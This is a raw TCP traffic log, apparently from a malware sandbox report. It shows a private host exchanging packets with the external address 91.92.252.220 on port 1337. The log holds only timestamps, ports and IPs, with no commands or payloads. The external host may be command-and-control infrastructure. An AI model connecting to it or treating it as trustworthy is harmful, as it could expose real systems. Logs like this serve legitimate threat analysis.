Apr 24, 2024 03:01:18.917445898 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.917490959 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.917509079 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.917558908 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.917599916 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.917676926 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.917722940 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.917812109 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.917855024 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.917972088 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918020010 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918061018 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918109894 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918152094 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918199062 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918215036 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918258905 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918292046 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918437004 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918453932 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918482065 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918498993 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918544054 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918587923 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918600082 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918642998 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918662071 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918708086 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918726921 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918772936 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918812990 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918857098 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.918947935 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.918992043 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919001102 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919043064 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919083118 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919100046 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919126987 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919137955 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919187069 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919229984 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919270039 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919310093 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919374943 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919420958 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919461012 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919502974 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919559002 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919605017 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919656038 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919698000 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.919827938 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.919869900 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920002937 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920052052 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920068979 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920121908 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920142889 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920161963 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920186996 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920196056 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920209885 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920238972 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920386076 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920449972 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920490026 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920500994 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920540094 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920593023 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920603991 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920631886 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920687914 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920725107 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920767069 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.920799971 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920953035 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.920989037 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921005011 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921077967 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921133995 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921205997 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921250105 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.921340942 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921359062 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921387911 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.921420097 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.921432972 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921477079 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.921581984 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921626091 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.921655893 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921700001 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.921711922 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921756029 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.921843052 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.921886921 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.922050953 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.922099113 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.922164917 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.922182083 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.922205925 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.922221899 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:18.922307014 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:18.922380924 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.203531981 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.203675985 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.203988075 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204061985 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204540968 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204591036 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204591036 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.204637051 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.204670906 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204719067 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.204719067 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204760075 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204762936 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.204797983 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.204803944 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.204849005 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.204965115 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205019951 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205025911 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205041885 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205070019 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205076933 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205080986 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205111027 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205115080 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205153942 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205162048 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205178976 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205198050 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205220938 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205317020 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205363035 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205528021 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205672026 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205713987 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205769062 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205784082 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205800056 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205815077 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205828905 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205830097 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205863953 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205883026 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205899000 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205933094 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.205940008 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205976009 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.205986023 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206027985 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206051111 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206084967 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206170082 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206209898 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206252098 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206274986 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206310987 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206326008 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206367016 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206367970 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206432104 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206475973 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206511021 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206604004 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206643105 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206664085 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206729889 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206748009 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206758976 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206768990 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206775904 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206804037 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206815004 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206849098 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206864119 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206880093 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206895113 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206895113 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206908941 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206911087 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206923962 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206928015 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.206940889 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206953049 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.206962109 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207046032 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207077980 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207129002 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207151890 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207331896 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207401037 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207458019 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207511902 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207560062 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207575083 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207689047 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.207837105 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208137035 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208240986 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208329916 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208353996 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208612919 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208676100 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208780050 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.208796024 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209100008 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209115982 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209170103 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209300995 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209434986 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209496975 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209563971 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209650993 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.209743023 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210221052 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210236073 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210253954 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210304022 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210318089 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210333109 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210531950 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210596085 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.210710049 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211386919 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211426020 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211539984 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211632967 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211695910 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211806059 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211963892 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.211978912 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.212138891 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.212177992 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.212308884 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.212511063 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.212722063 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.212768078 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.212892056 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213109016 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213134050 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213331938 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213371992 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213416100 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213432074 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213514090 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213530064 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213547945 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213565111 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213627100 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.213891983 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.214195967 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.214282036 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.214296103 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.214447975 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215151072 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215164900 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215192080 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215281010 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215476990 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215528965 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215567112 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215656996 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.215874910 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216085911 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216155052 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216327906 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216413975 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216465950 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216481924 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216602087 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216718912 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216733932 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216947079 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.216963053 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217004061 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217365026 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217434883 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217509985 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217562914 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217576981 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217612982 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217684984 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217700958 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217744112 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.217808962 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218090057 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218178034 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218193054 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218517065 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218586922 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218619108 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218677998 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218766928 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218818903 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218832970 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218888044 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218950033 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.218972921 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219053030 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219069004 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219114065 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219204903 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219316959 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219479084 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219564915 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219579935 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219633102 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219649076 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219662905 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219737053 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219753027 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219804049 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219819069 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.219958067 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220056057 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220144033 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220238924 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220253944 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220267057 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220338106 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220402002 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220453978 CEST	1337	49703	91.92.252.220	192.168.2.7
